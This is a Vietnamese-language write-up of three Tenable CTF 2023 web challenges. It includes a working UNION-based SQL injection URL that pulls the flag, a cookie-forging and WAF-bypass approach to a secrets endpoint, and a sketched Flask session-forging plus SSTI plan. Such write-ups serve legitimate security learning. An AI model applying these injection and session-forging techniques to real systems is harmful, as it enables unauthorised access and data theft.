---
# System prepended metadata

title: TenableCTF

---

# TenableCTF

# Challenge 1: Cat Viewer

![](https://hackmd.io/_uploads/r1x4UhX32.png)


![](https://hackmd.io/_uploads/H1j8U3Qn2.png)
Theo gợi ý của đề bài thì có vẻ bài này khai thác theo SQLi và sau một hồi fuzzing thì mình đã tìm được flag

Payload: https://nessus-catviewer.chals.io/index.php?cat=%22union%20select%201,2,flag,4%20from%20cats%20--

![](https://hackmd.io/_uploads/BJOiUhXhh.png)


# Challenge 2 : Bad Waf No Donut


![](https://hackmd.io/_uploads/rJi-P3Xn3.png)
Mình thử vào endpoint /explore thì nhận được đoạn source code này

```
<html>
<body>

    <h1>Explore</h1>
    <div id="content">

    </div>
    
</body>
<script>
function isAdmin() {
  let cookie = decodeURIComponent(document.cookie);
  let cookie_values = cookie.split(';');
  for(let i = 0; i <cookie_values.length; i++) {
    let c = cookie_values[i];
    while (c.charAt(0) == ' ') {
      c = c.substring(1);
    }
    if (c.indexOf("admin") == 0) {
      if (c.substring(name.length, c.length).indexOf("true")) { return true; }
    }
  }
  return false;
}
if (isAdmin()){
    document.getElementById("content").innerHTML = '<a href="/secrets">secrets</a>';
}
else {
    document.getElementById("content").innerHTML = '<ul><li><a href="/books">books</a></li><li><a href="/cats">cats</a></li><li><a href="/shopping_list">shopping list</a></li></ul>';
}
</script>
</html>
```


Có một endpoint khá lạ là sercet mình thử tìm và nhận được
```

<html>
<body>

    <h1>🅢🅔🅒🅡🅔🅣🅢</h1>
    <p>I only know one secret, but you gotta know how to ask.</p>
    <!-- Try asking with a "secret_name" post parameter -->
    
</body>
</html>

```

Ý tưởng là thực hiện post với cookie có chứa giá trị ```admin=true``` và call param ```secret_name``` là flag nhưng không thành công
![](https://hackmd.io/_uploads/SkTtFhm3n.png)


Nhưng khoan đã tại sao secret lại được để ở dạng đặc biệt thế kia liệu có phải gợi ý từ author nên mình có chỉnh sửa lại 


![](https://hackmd.io/_uploads/rkKkq2X2h.png)
Và chúng ta đã có được flag

# Challenge 3: Rose

Challenge hơi tiếc vì cái thằng tool flask-unsign của mình có vấn đề nên không thể giải được, ý tưởng là build lại web trên local sau đó get được session với giá trị key đã được cho sẵn trong source code sau đó thực hiện SSTI :>


https://github.com/Connor-Maddison/ctf_event_writeups/blob/main/tenable_ctf_2023/rose/Rose_writeup.md